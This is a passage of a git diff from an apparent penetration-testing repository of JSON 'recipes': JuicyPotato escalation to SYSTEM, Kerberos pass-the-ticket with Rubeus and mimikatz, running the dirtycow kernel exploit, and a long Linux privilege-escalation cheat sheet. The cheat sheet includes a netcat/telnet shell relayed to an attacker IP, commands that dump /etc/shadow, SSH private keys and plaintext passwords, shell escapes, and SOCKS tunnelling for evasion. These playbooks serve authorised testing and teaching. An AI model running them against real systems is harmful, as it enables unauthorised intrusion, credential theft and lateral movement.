"Advanced DCOM/RPC exploitation using CLR and token manipulation to bypass integrity checks for reliable SYSTEM access.", + "tools": [ + { + "name": "JuicyPotato", + "description": "Improved potato variant leveraging .NET CLR for more stable DCOM activation and impersonation", + "url": "https://github.com/ohpe/juicy-potato" + } + ], + "steps": [ + { + "index": 1, + "name": "Download JuicyPotato", + "command": "git clone https://github.com/ohpe/juicy-potato.git; cd juicy-potato; Build or use precompiled JuicyPotato.exe", + "description": "Clone the repo, compile the C# project if needed, and copy the executable to the target system." + }, + { + "index": 2, + "name": "Execute JuicyPotato", + "command": "./JuicyPotato.exe -l 1337 -p cmd.exe -a \"/c whoami > C:\\temp\\whoami.txt\" -t * -c {F9E380B5-8F40-11CE-8794-00A024A23D8A}", + "description": "Run with local port, payload arguments, all transports (-t *), and a vulnerable CLSID for DCOM (e.g., BITS)." + }, + { + "index": 3, + "name": "Validate Privileges", + "command": "type C:\\temp\\whoami.txt; Check process integrity with icacls or whoami /groups", + "description": "Review output file for SYSTEM indication; exploit further if escalation to high integrity is confirmed." + } + ] } \ No newline at end of file diff --git a/recipes/kerberos-ticket-flow.json b/recipes/kerberos-ticket-flow.json old mode 100644 new mode 100755 index 17eba86..519b8c2 --- a/recipes/kerberos-ticket-flow.json +++ b/recipes/kerberos-ticket-flow.json @@ -1,25 +1,25 @@ -{ - "name": "Kerberos Ticket Lifecycle", - "description": "Map the Kerberos authentication process and inspect cached tickets.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Request TGT (Linux)", - "command": "kinit user@CORP.LOCAL", - "description": "Obtain initial ticket-granting ticket." - }, - { - "index": 2, - "name": "View Cache", - "command": "klist", - "description": "List current Kerberos tickets." - }, - { - "index": 3, - "name": "Windows Inspection", - "command": "Rubeus.exe triage", - "description": "Enumerate in-memory tickets." - } - ] +{ + "name": "Kerberos Ticket Lifecycle", + "description": "Map the Kerberos authentication process and inspect cached tickets.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Request TGT (Linux)", + "command": "kinit user@CORP.LOCAL", + "description": "Obtain initial ticket-granting ticket." + }, + { + "index": 2, + "name": "View Cache", + "command": "klist", + "description": "List current Kerberos tickets." + }, + { + "index": 3, + "name": "Windows Inspection", + "command": "Rubeus.exe triage", + "description": "Enumerate in-memory tickets." + } + ] } \ No newline at end of file diff --git a/recipes/kerberos-ticket-reuse.json b/recipes/kerberos-ticket-reuse.json old mode 100644 new mode 100755 index 341cab2..e50330f --- a/recipes/kerberos-ticket-reuse.json +++ b/recipes/kerberos-ticket-reuse.json @@ -1,25 +1,25 @@ -{ - "name": "Kerberos Ticket Reuse (PtT)", - "description": "Inject exported Kerberos tickets into current session.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Export Current Ticket", - "command": "Rubeus.exe ptt /ticket:doIF... (base64)", - "description": "Prepare ticket for reuse." - }, - { - "index": 2, - "name": "Inject Ticket", - "command": "mimikatz.exe \"kerberos::ptt ticket.kirbi\"", - "description": "Apply to LSASS." - }, - { - "index": 3, - "name": "Access Resource", - "command": "dir \\\\dc01.corp.local\\SYSVOL", - "description": "Use ticket for file access." - } - ] +{ + "name": "Kerberos Ticket Reuse (PtT)", + "description": "Inject exported Kerberos tickets into current session.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Export Current Ticket", + "command": "Rubeus.exe ptt /ticket:doIF... (base64)", + "description": "Prepare ticket for reuse." + }, + { + "index": 2, + "name": "Inject Ticket", + "command": "mimikatz.exe \"kerberos::ptt ticket.kirbi\"", + "description": "Apply to LSASS." + }, + { + "index": 3, + "name": "Access Resource", + "command": "dir \\\\dc01.corp.local\\SYSVOL", + "description": "Use ticket for file access." + } + ] } \ No newline at end of file diff --git a/recipes/kernel-exploit-linux.json b/recipes/kernel-exploit-linux.json old mode 100644 new mode 100755 index fafaca3..d985ea0 --- a/recipes/kernel-exploit-linux.json +++ b/recipes/kernel-exploit-linux.json @@ -1,25 +1,25 @@ -{ - "name": "Linux Kernel Vulnerability Exploitation", - "description": "Compile and run kernel exploits for root.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Kernel Version", - "command": "uname -r; cat /proc/version", - "description": "Identify vulnerable kernel." - }, - { - "index": 2, - "name": "Search Exploit", - "command": "searchsploit linux local $(uname -r)", - "description": "Find matching PoC." - }, - { - "index": 3, - "name": "Compile & Run", - "command": "gcc dirtycow.c -o dirtycow -pthread; ./dirtycow", - "description": "Execute local root exploit." - } - ] +{ + "name": "Linux Kernel Vulnerability Exploitation", + "description": "Compile and run kernel exploits for root.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Kernel Version", + "command": "uname -r; cat /proc/version", + "description": "Identify vulnerable kernel." + }, + { + "index": 2, + "name": "Search Exploit", + "command": "searchsploit linux local $(uname -r)", + "description": "Find matching PoC." + }, + { + "index": 3, + "name": "Compile & Run", + "command": "gcc dirtycow.c -o dirtycow -pthread; ./dirtycow", + "description": "Execute local root exploit." + } + ] } \ No newline at end of file diff --git a/recipes/linux-privesc-cheatsheet-g0tm1lk.json b/recipes/linux-privesc-cheatsheet-g0tm1lk.json old mode 100644 new mode 100755 index 3a850fa..96a363b --- a/recipes/linux-privesc-cheatsheet-g0tm1lk.json +++ b/recipes/linux-privesc-cheatsheet-g0tm1lk.json @@ -1,209 +1,209 @@ -{ - "name": "Complete Linux Privilege Escalation Vectors (Full g0tmi1k Cheat Sheet)", - "description": "A comprehensive guide to Linux privilege escalation, covering all enumeration techniques, commands, and vectors from g0tmi1k's 2011 cheat sheet. Includes OS details, services, networking, users, file systems, and more. Enumeration is key—collect data, analyze, search exploits, adapt, and test.", - "tools": [ - { - "name": "LinPEAS", - "description": "Automated enumeration script for modern Linux privesc checks", - "url": "https://github.com/carlospolop/PEASS-ng/releases/latest" - }, - { - "name": "Unix-privesc-check", - "description": "Classic automated Unix/Linux privesc scanner", - "url": "https://pentestmonkey.net/tools/unix-privesc-check" - }, - { - "name": "Searchsploit", - "description": "Local exploit database search tool", - "url": "https://github.com/offensive-security/exploitdb" - } - ], - "steps": [ - { - "index": 1, - "name": "OS Distribution and Version Enumeration", - "command": "cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release 2>/dev/null; cat /etc/redhat-release 2>/dev/null", - "description": "Identify distro type and version to research known vulnerabilities (e.g., Debian vs. RedHat)." - }, - { - "index": 2, - "name": "Kernel Version and Architecture Check", - "command": "cat /proc/version; uname -a; uname -mrs; rpm -q kernel 2>/dev/null; dmesg | grep Linux; ls /boot | grep vmlinuz-", - "description": "Gather kernel details (version, 64-bit?) for kernel exploit searches on exploit-db.com or cve.mitre.org." - }, - { - "index": 3, - "name": "Environment Variables and Profiles", - "command": "cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set", - "description": "Inspect profiles and env vars for PATH hijacks or credential leaks." - }, - { - "index": 4, - "name": "Printer Services", - "command": "lpstat -a 2>/dev/null", - "description": "Check for CUPS or LPD printers that might expose misconfigs." - }, - { - "index": 5, - "name": "Running Processes and Services", - "command": "ps aux; ps -ef; top; cat /etc/services", - "description": "List all processes; focus on root-owned ones for vulnerable services." - }, - { - "index": 6, - "name": "Root-Owned Services", - "command": "ps aux | grep root; ps -ef | grep root", - "description": "Double-check root services for known CVEs or weak configs." - }, - { - "index": 7, - "name": "Installed Applications and Versions", - "command": "ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l 2>/dev/null; rpm -qa 2>/dev/null; ls -alh /var/cache/apt/archives/ 2>/dev/null; ls -alh /var/cache/yum/ 2>/dev/null", - "description": "Catalog binaries and packages; search for vulnerable versions." - }, - { - "index": 8, - "name": "Service Configuration Files", - "command": "cat /etc/syslog.conf 2>/dev/null; cat /etc/httpd.conf 2>/dev/null; cat /etc/lighttpd.conf 2>/dev/null; cat /etc/cups/cupsd.conf 2>/dev/null; cat /etc/inetd.conf 2>/dev/null; cat /etc/apache2/apache2.conf 2>/dev/null; cat /etc/my.cnf 2>/dev/null; cat /opt/lampp/etc/httpd.conf 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'", - "description": "Look for misconfigs, vulnerable plugins, or hardcoded creds in service configs." - }, - { - "index": 9, - "name": "Scheduled Jobs and Crontabs", - "command": "crontab -l 2>/dev/null; ls -alh /var/spool/cron/; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow 2>/dev/null; cat /etc/at.deny 2>/dev/null; cat /etc/cron.allow 2>/dev/null; cat /etc/cron.deny 2>/dev/null; cat /etc/crontab; cat /etc/anacrontab; cat /var/spool/cron/crontabs/root 2>/dev/null", - "description": "Hunt for root cron jobs with writable scripts for hijacking." - }, - { - "index": 10, - "name": "Plain Text Credentials Search", - "command": "grep -i user [filename]; grep -i pass [filename]; grep -C 5 \"password\" [filename]; find . -name \"*.php\" -print0 | xargs -0 grep -i -n \"var $password\" 2>/dev/null", - "description": "Scan files for usernames/passwords; target Joomla-style vars." - }, - { - "index": 11, - "name": "Network Interfaces", - "command": "/sbin/ifconfig -a 2>/dev/null; cat /etc/network/interfaces 2>/dev/null; cat /etc/sysconfig/network 2>/dev/null", - "description": "Identify NICs and connections for pivoting." - }, - { - "index": 12, - "name": "Network Configuration (DNS, Gateway, etc.)", - "command": "cat /etc/resolv.conf; cat /etc/sysconfig/network 2>/dev/null; cat /etc/networks 2>/dev/null; iptables -L; hostname; dnsdomainname", - "description": "Map DNS, DHCP, gateway for internal recon." - }, - { - "index": 13, - "name": "Active Connections and Services", - "command": "lsof -i; lsof -i :80 2>/dev/null; grep 80 /etc/services 2>/dev/null; netstat -antup 2>/dev/null; netstat -antpx 2>/dev/null; netstat -tulpn 2>/dev/null; chkconfig --list 2>/dev/null; chkconfig --list | grep 3:on 2>/dev/null; last; w", - "description": "Spot listening ports, connections; check runlevels." - }, - { - "index": 14, - "name": "ARP Cache and Routing", - "command": "arp -e; route 2>/dev/null; /sbin/route -nee 2>/dev/null", - "description": "Enumerate local network hosts via ARP/MAC." - }, - { - "index": 15, - "name": "Packet Sniffing with tcpdump", - "command": "tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 2>/dev/null", - "description": "Capture live traffic; adapt IPs/ports for recon." - }, - { - "index": 16, - "name": "Bind Shell Setup", - "command": "nc -lvp 4444 # Attacker: Input; nc -lvp 4445 # Attacker: Output; telnet [attacker_ip] 4444 | /bin/sh | nc [local_ip] 4445 # Target: Bridge shell", - "description": "Establish interactive shell using netcat/telnet." - }, - { - "index": 17, - "name": "Port Forwarding with rinetd/FPipe/SSH", - "command": "FPipe -l 80 -r 80 -s 80 192.168.1.7; ssh -L 8080:127.0.0.1:80 root@192.168.1.7; ssh -R 8080:127.0.0.1:80 root@192.168.1.7; mknod backpipe p; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 > backpipe", - "description": "Redirect traffic; use rinetd for simple forwarding or SSH for secure." - }, - { - "index": 18, - "name": "Proxy Tunneling with Proxychains", - "command": "ssh -D 127.0.0.1:9050 -N [user]@[ip]; proxychains ifconfig", - "description": "Tunnel traffic via SOCKS proxy for evasion." - }, - { - "index": 19, - "name": "Current User and Login History", - "command": "id; who; w; last; cat /etc/passwd | cut -d: -f1; grep -v -E \"^#\" /etc/passwd | awk -F: '$3 == 0 { print $1}'; awk -F: '($3 == \"0\") {print}' /etc/passwd; cat /etc/sudoers 2>/dev/null; sudo -l 2>/dev/null", - "description": "List users, superusers, sudo rights, and recent logins." - }, - { - "index": 20, - "name": "Sensitive Files (/etc/passwd, etc.)", - "command": "cat /etc/passwd; cat /etc/group; cat /etc/shadow 2>/dev/null; ls -alh /var/mail/", - "description": "Check for readable shadow file or mail spools." - }, - { - "index": 21, - "name": "Home Directory Enumeration", - "command": "ls -ahlR /root/ 2>/dev/null; ls -ahlR /home/", - "description": "Inspect user homes for configs or keys (if accessible)." - }, - { - "index": 22, - "name": "Plain Text Passwords in Configs", - "command": "cat /var/apache2/config.inc 2>/dev/null; cat /var/lib/mysql/mysql/user.MYD 2>/dev/null; cat /root/anaconda-ks.cfg 2>/dev/null", - "description": "Target common password locations in apps/DBs." - }, - { - "index": 23, - "name": "User History Files", - "command": "cat ~/.bash_history; cat ~/.nano_history 2>/dev/null; cat ~/.atftp_history 2>/dev/null; cat ~/.mysql_history 2>/dev/null; cat ~/.php_history 2>/dev/null", - "description": "Extract commands/history for creds or paths." - }, - { - "index": 24, - "name": "User Profile and Mail", - "command": "cat ~/.bashrc; cat ~/.profile; cat /var/mail/root 2>/dev/null; cat /var/spool/mail/root 2>/dev/null", - "description": "Check profiles and root mail for secrets." - }, - { - "index": 25, - "name": "SSH Keys and Configs", - "command": "cat ~/.ssh/authorized_keys 2>/dev/null; cat ~/.ssh/identity.pub 2>/dev/null; cat ~/.ssh/identity 2>/dev/null; cat ~/.ssh/id_rsa.pub 2>/dev/null; cat ~/.ssh/id_rsa 2>/dev/null; cat ~/.ssh/id_dsa.pub 2>/dev/null; cat ~/.ssh/id_dsa 2>/dev/null; cat /etc/ssh/ssh_config 2>/dev/null; cat /etc/ssh/sshd_config 2>/dev/null; cat /etc/ssh/ssh_host_dsa_key.pub 2>/dev/null; cat /etc/ssh/ssh_host_dsa_key 2>/dev/null; cat /etc/ssh/ssh_host_rsa_key.pub 2>/dev/null; cat /etc/ssh/ssh_host_rsa_key 2>/dev/null; cat /etc/ssh/ssh_host_key.pub 2>/dev/null; cat /etc/ssh/ssh_host_key 2>/dev/null", - "description": "Steal or inspect SSH keys for lateral movement." - }, - { - "index": 26, - "name": "Writable /etc/ Files", - "command": "ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null; find /etc/ -readable -type f 2>/dev/null; find /etc/ -readable -type f -maxdepth 1 2>/dev/null", - "description": "Find writable configs for service hijacks (anyone/owner/group/other)." - }, - { - "index": 27, - "name": "/var/ Directory Inspection", - "command": "ls -alh /var/log/; ls -alh /var/mail/; ls -alh /var/spool/; ls -alh /var/spool/lpd/ 2>/dev/null; ls -alh /var/lib/pgsql/ 2>/dev/null; ls -alh /var/lib/mysql/; cat /var/lib/dhcp3/dhclient.leases 2>/dev/null", - "description": "Check logs, mail, spools, DBs for leaks." - }, - { - "index": 28, - "name": "Web Root Directories", - "command": "ls -alhR /var/www/; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache22/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null; ls -alhR /var/www/html/ 2>/dev/null", - "description": "Hunt for web app configs, backups, or LFI-vulnerable files." - }, - { - "index": 29, - "name": "Log Files Enumeration", - "command": "cat /etc/httpd/logs/access_log 2>/dev/null; cat /etc/httpd/logs/access.log 2>/dev/null; cat /etc/httpd/logs/error_log 2>/dev/null; cat /etc/httpd/logs/error.log 2>/dev/null; cat /var/log/apache2/access_log 2>/dev/null; cat /var/log/apache2/access.log 2>/dev/null; cat /var/log/apache2/error_log 2>/dev/null; cat /var/log/apache2/error.log 2>/dev/null; cat /var/log/apache/access_log 2>/dev/null; cat /var/log/apache/access.log 2>/dev/null; cat /var/log/auth.log 2>/dev/null; cat /var/log/chttp.log 2>/dev/null; cat /var/log/cups/error_log 2>/dev/null; cat /var/log/dpkg.log 2>/dev/null; cat /var/log/faillog 2>/dev/null; cat /var/log/httpd/access_log 2>/dev/null; cat /var/log/httpd/access.log 2>/dev/null; cat /var/log/httpd/error_log 2>/dev/null; cat /var/log/httpd/error.log 2>/dev/null; cat /var/log/lighttpd/access.log 2>/dev/null; cat /var/log/lighttpd/error.log 2>/dev/null; cat /var/log/lighttpd/lighttpd.access.log 2>/dev/null; cat /var/log/lighttpd/lighttpd.error.log 2>/dev/null; cat /var/log/messages 2>/dev/null; cat /var/log/secure 2>/dev/null; cat /var/log/syslog 2>/dev/null; cat /var/log/wtmp 2>/dev/null; cat /var/log/xferlog 2>/dev/null; cat /var/log/yum.log 2>/dev/null; cat /var/run/utmp 2>/dev/null; cat /var/webmin/miniserv.log 2>/dev/null; cat /var/www/logs/access_log 2>/dev/null; cat /var/www/logs/access.log 2>/dev/null; ls -alh /var/lib/dhcp3/ 2>/dev/null; ls -alh /var/log/postgresql/ 2>/dev/null; ls -alh /var/log/proftpd/ 2>/dev/null; ls -alh /var/log/samba/ 2>/dev/null", - "description": "Scan all common logs for creds, errors, or LFI paths (auth.log, syslog, etc.)." - }, - { - "index": 30, - "name": "Jailbreak Limited Shell", - "command": "python -c 'import pty; pty.spawn(\"/bin/bash\")'; echo os.system('/bin/bash'); /bin/sh -i", - "description": "Escape restricted shells for full interaction." - }, - { - "index": 31, - "name": "Mounted File Systems", - "command": "mount; df -h; cat /etc/fstab", - "description": "Check mounts for noexec/nosuid or unmounted shares." - } - ] +{ + "name": "Complete Linux Privilege Escalation Vectors (Full g0tmi1k Cheat Sheet)", + "description": "A comprehensive guide to Linux privilege escalation, covering all enumeration techniques, commands, and vectors from g0tmi1k's 2011 cheat sheet. Includes OS details, services, networking, users, file systems, and more. Enumeration is key—collect data, analyze, search exploits, adapt, and test.", + "tools": [ + { + "name": "LinPEAS", + "description": "Automated enumeration script for modern Linux privesc checks", + "url": "https://github.com/carlospolop/PEASS-ng/releases/latest" + }, + { + "name": "Unix-privesc-check", + "description": "Classic automated Unix/Linux privesc scanner", + "url": "https://pentestmonkey.net/tools/unix-privesc-check" + }, + { + "name": "Searchsploit", + "description": "Local exploit database search tool", + "url": "https://github.com/offensive-security/exploitdb" + } + ], + "steps": [ + { + "index": 1, + "name": "OS Distribution and Version Enumeration", + "command": "cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release 2>/dev/null; cat /etc/redhat-release 2>/dev/null", + "description": "Identify distro type and version to research known vulnerabilities (e.g., Debian vs. RedHat)." + }, + { + "index": 2, + "name": "Kernel Version and Architecture Check", + "command": "cat /proc/version; uname -a; uname -mrs; rpm -q kernel 2>/dev/null; dmesg | grep Linux; ls /boot | grep vmlinuz-", + "description": "Gather kernel details (version, 64-bit?) for kernel exploit searches on exploit-db.com or cve.mitre.org." + }, + { + "index": 3, + "name": "Environment Variables and Profiles", + "command": "cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set", + "description": "Inspect profiles and env vars for PATH hijacks or credential leaks." + }, + { + "index": 4, + "name": "Printer Services", + "command": "lpstat -a 2>/dev/null", + "description": "Check for CUPS or LPD printers that might expose misconfigs." + }, + { + "index": 5, + "name": "Running Processes and Services", + "command": "ps aux; ps -ef; top; cat /etc/services", + "description": "List all processes; focus on root-owned ones for vulnerable services." + }, + { + "index": 6, + "name": "Root-Owned Services", + "command": "ps aux | grep root; ps -ef | grep root", + "description": "Double-check root services for known CVEs or weak configs." + }, + { + "index": 7, + "name": "Installed Applications and Versions", + "command": "ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l 2>/dev/null; rpm -qa 2>/dev/null; ls -alh /var/cache/apt/archives/ 2>/dev/null; ls -alh /var/cache/yum/ 2>/dev/null", + "description": "Catalog binaries and packages; search for vulnerable versions." + }, + { + "index": 8, + "name": "Service Configuration Files", + "command": "cat /etc/syslog.conf 2>/dev/null; cat /etc/httpd.conf 2>/dev/null; cat /etc/lighttpd.conf 2>/dev/null; cat /etc/cups/cupsd.conf 2>/dev/null; cat /etc/inetd.conf 2>/dev/null; cat /etc/apache2/apache2.conf 2>/dev/null; cat /etc/my.cnf 2>/dev/null; cat /opt/lampp/etc/httpd.conf 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'", + "description": "Look for misconfigs, vulnerable plugins, or hardcoded creds in service configs." + }, + { + "index": 9, + "name": "Scheduled Jobs and Crontabs", + "command": "crontab -l 2>/dev/null; ls -alh /var/spool/cron/; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow 2>/dev/null; cat /etc/at.deny 2>/dev/null; cat /etc/cron.allow 2>/dev/null; cat /etc/cron.deny 2>/dev/null; cat /etc/crontab; cat /etc/anacrontab; cat /var/spool/cron/crontabs/root 2>/dev/null", + "description": "Hunt for root cron jobs with writable scripts for hijacking." + }, + { + "index": 10, + "name": "Plain Text Credentials Search", + "command": "grep -i user [filename]; grep -i pass [filename]; grep -C 5 \"password\" [filename]; find . -name \"*.php\" -print0 | xargs -0 grep -i -n \"var $password\" 2>/dev/null", + "description": "Scan files for usernames/passwords; target Joomla-style vars." + }, + { + "index": 11, + "name": "Network Interfaces", + "command": "/sbin/ifconfig -a 2>/dev/null; cat /etc/network/interfaces 2>/dev/null; cat /etc/sysconfig/network 2>/dev/null", + "description": "Identify NICs and connections for pivoting." + }, + { + "index": 12, + "name": "Network Configuration (DNS, Gateway, etc.)", + "command": "cat /etc/resolv.conf; cat /etc/sysconfig/network 2>/dev/null; cat /etc/networks 2>/dev/null; iptables -L; hostname; dnsdomainname", + "description": "Map DNS, DHCP, gateway for internal recon." + }, + { + "index": 13, + "name": "Active Connections and Services", + "command": "lsof -i; lsof -i :80 2>/dev/null; grep 80 /etc/services 2>/dev/null; netstat -antup 2>/dev/null; netstat -antpx 2>/dev/null; netstat -tulpn 2>/dev/null; chkconfig --list 2>/dev/null; chkconfig --list | grep 3:on 2>/dev/null; last; w", + "description": "Spot listening ports, connections; check runlevels." + }, + { + "index": 14, + "name": "ARP Cache and Routing", + "command": "arp -e; route 2>/dev/null; /sbin/route -nee 2>/dev/null", + "description": "Enumerate local network hosts via ARP/MAC." + }, + { + "index": 15, + "name": "Packet Sniffing with tcpdump", + "command": "tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 2>/dev/null", + "description": "Capture live traffic; adapt IPs/ports for recon." + }, + { + "index": 16, + "name": "Bind Shell Setup", + "command": "nc -lvp 4444 # Attacker: Input; nc -lvp 4445 # Attacker: Output; telnet [attacker_ip] 4444 | /bin/sh | nc [local_ip] 4445 # Target: Bridge shell", + "description": "Establish interactive shell using netcat/telnet." + }, + { + "index": 17, + "name": "Port Forwarding with rinetd/FPipe/SSH", + "command": "FPipe -l 80 -r 80 -s 80 192.168.1.7; ssh -L 8080:127.0.0.1:80 root@192.168.1.7; ssh -R 8080:127.0.0.1:80 root@192.168.1.7; mknod backpipe p; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 > backpipe", + "description": "Redirect traffic; use rinetd for simple forwarding or SSH for secure." + }, + { + "index": 18, + "name": "Proxy Tunneling with Proxychains", + "command": "ssh -D 127.0.0.1:9050 -N [user]@[ip]; proxychains ifconfig", + "description": "Tunnel traffic via SOCKS proxy for evasion." + }, + { + "index": 19, + "name": "Current User and Login History", + "command": "id; who; w; last; cat /etc/passwd | cut -d: -f1; grep -v -E \"^#\" /etc/passwd | awk -F: '$3 == 0 { print $1}'; awk -F: '($3 == \"0\") {print}' /etc/passwd; cat /etc/sudoers 2>/dev/null; sudo -l 2>/dev/null", + "description": "List users, superusers, sudo rights, and recent logins." + }, + { + "index": 20, + "name": "Sensitive Files (/etc/passwd, etc.)", + "command": "cat /etc/passwd; cat /etc/group; cat /etc/shadow 2>/dev/null; ls -alh /var/mail/", + "description": "Check for readable shadow file or mail spools." + }, + { + "index": 21, + "name": "Home Directory Enumeration", + "command": "ls -ahlR /root/ 2>/dev/null; ls -ahlR /home/", + "description": "Inspect user homes for configs or keys (if accessible)." + }, + { + "index": 22, + "name": "Plain Text Passwords in Configs", + "command": "cat /var/apache2/config.inc 2>/dev/null; cat /var/lib/mysql/mysql/user.MYD 2>/dev/null; cat /root/anaconda-ks.cfg 2>/dev/null", + "description": "Target common password locations in apps/DBs." + }, + { + "index": 23, + "name": "User History Files", + "command": "cat ~/.bash_history; cat ~/.nano_history 2>/dev/null; cat ~/.atftp_history 2>/dev/null; cat ~/.mysql_history 2>/dev/null; cat ~/.php_history 2>/dev/null", + "description": "Extract commands/history for creds or paths." + }, + { + "index": 24, + "name": "User Profile and Mail", + "command": "cat ~/.bashrc; cat ~/.profile; cat /var/mail/root 2>/dev/null; cat /var/spool/mail/root 2>/dev/null", + "description": "Check profiles and root mail for secrets." + }, + { + "index": 25, + "name": "SSH Keys and Configs", + "command": "cat ~/.ssh/authorized_keys 2>/dev/null; cat ~/.ssh/identity.pub 2>/dev/null; cat ~/.ssh/identity 2>/dev/null; cat ~/.ssh/id_rsa.pub 2>/dev/null; cat ~/.ssh/id_rsa 2>/dev/null; cat ~/.ssh/id_dsa.pub 2>/dev/null; cat ~/.ssh/id_dsa 2>/dev/null; cat /etc/ssh/ssh_config 2>/dev/null; cat /etc/ssh/sshd_config 2>/dev/null; cat /etc/ssh/ssh_host_dsa_key.pub 2>/dev/null; cat /etc/ssh/ssh_host_dsa_key 2>/dev/null; cat /etc/ssh/ssh_host_rsa_key.pub 2>/dev/null; cat /etc/ssh/ssh_host_rsa_key 2>/dev/null; cat /etc/ssh/ssh_host_key.pub 2>/dev/null; cat /etc/ssh/ssh_host_key 2>/dev/null", + "description": "Steal or inspect SSH keys for lateral movement." + }, + { + "index": 26, + "name": "Writable /etc/ Files", + "command": "ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null; ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null; find /etc/ -readable -type f 2>/dev/null; find /etc/ -readable -type f -maxdepth 1 2>/dev/null", + "description": "Find writable configs for service hijacks (anyone/owner/group/other)." + }, + { + "index": 27, + "name": "/var/ Directory Inspection", + "command": "ls -alh /var/log/; ls -alh /var/mail/; ls -alh /var/spool/; ls -alh /var/spool/lpd/ 2>/dev/null; ls -alh /var/lib/pgsql/ 2>/dev/null; ls -alh /var/lib/mysql/; cat /var/lib/dhcp3/dhclient.leases 2>/dev/null", + "description": "Check logs, mail, spools, DBs for leaks." + }, + { + "index": 28, + "name": "Web Root Directories", + "command": "ls -alhR /var/www/; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache22/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null; ls -alhR /var/www/html/ 2>/dev/null", + "description": "Hunt for web app configs, backups, or LFI-vulnerable files." + }, + { + "index": 29, + "name": "Log Files Enumeration", + "command": "cat /etc/httpd/logs/access_log 2>/dev/null; cat /etc/httpd/logs/access.log 2>/dev/null; cat /etc/httpd/logs/error_log 2>/dev/null; cat /etc/httpd/logs/error.log 2>/dev/null; cat /var/log/apache2/access_log 2>/dev/null; cat /var/log/apache2/access.log 2>/dev/null; cat /var/log/apache2/error_log 2>/dev/null; cat /var/log/apache2/error.log 2>/dev/null; cat /var/log/apache/access_log 2>/dev/null; cat /var/log/apache/access.log 2>/dev/null; cat /var/log/auth.log 2>/dev/null; cat /var/log/chttp.log 2>/dev/null; cat /var/log/cups/error_log 2>/dev/null; cat /var/log/dpkg.log 2>/dev/null; cat /var/log/faillog 2>/dev/null; cat /var/log/httpd/access_log 2>/dev/null; cat /var/log/httpd/access.log 2>/dev/null; cat /var/log/httpd/error_log 2>/dev/null; cat /var/log/httpd/error.log 2>/dev/null; cat /var/log/lighttpd/access.log 2>/dev/null; cat /var/log/lighttpd/error.log 2>/dev/null; cat /var/log/lighttpd/lighttpd.access.log 2>/dev/null; cat /var/log/lighttpd/lighttpd.error.log 2>/dev/null; cat /var/log/messages 2>/dev/null; cat /var/log/secure 2>/dev/null; cat /var/log/syslog 2>/dev/null; cat /var/log/wtmp 2>/dev/null; cat /var/log/xferlog 2>/dev/null; cat /var/log/yum.log 2>/dev/null; cat /var/run/utmp 2>/dev/null; cat /var/webmin/miniserv.log 2>/dev/null; cat /var/www/logs/access_log 2>/dev/null; cat /var/www/logs/access.log 2>/dev/null; ls -alh /var/lib/dhcp3/ 2>/dev/null; ls -alh /var/log/postgresql/ 2>/dev/null; ls -alh /var/log/proftpd/ 2>/dev/null; ls -alh /var/log/samba/ 2>/dev/null", + "description": "Scan all common logs for creds, errors, or LFI paths (auth.log, syslog, etc.)." + }, + { + "index": 30, + "name": "Jailbreak Limited Shell", + "command": "python -c 'import pty; pty.spawn(\"/bin/bash\")'; echo os.system('/bin/bash'); /bin/sh -i", + "description": "Escape restricted shells for full interaction." + }, + { + "index": 31, + "name": "Mounted File Systems", + "command": "mount; df -h; cat /etc/fstab", + "description": "Check mounts for noexec/nosuid or unmounted shares." + } + ] } \ No newline at end of file diff --git a/recipes/linuxprivesc_01.json b/recipes/linuxprivesc_01.json old mode 100644 new mode 100755 diff --git a/recipes/manual-enumeration-win.json b/recipes/manual-enumeration-win.json old mode 100644 new mode 100755 index d7f935d..b71550d --- a/recipes/manual-enumeration-win.json +++ b/recipes/manual-enumeration-win.json @@ -1,25 +1,25 @@ -{ - "name": "Manual System Enumeration (Windows)", - "description": "Hand-crafted commands to gather intel without automation.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "System Info", - "command": "systeminfo; hostname; whoami /all", - "description": "OS, patches, user context." - }, - { - "index": 2, - "name": "Network Config", - "command": "ipconfig /all; netstat -ano; route print", - "description": "Interfaces, connections, routing." - }, - { - "index": 3, - "name": "Patch Level", - "command": "wmic qfe list", - "description": "Installed hotfixes." - } - ] +{ + "name": "Manual System Enumeration (Windows)", + "description": "Hand-crafted commands to gather intel without automation.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "System Info", + "command": "systeminfo; hostname; whoami /all", + "description": "OS, patches, user context." + }, + { + "index": 2, + "name": "Network Config", + "command": "ipconfig /all; netstat 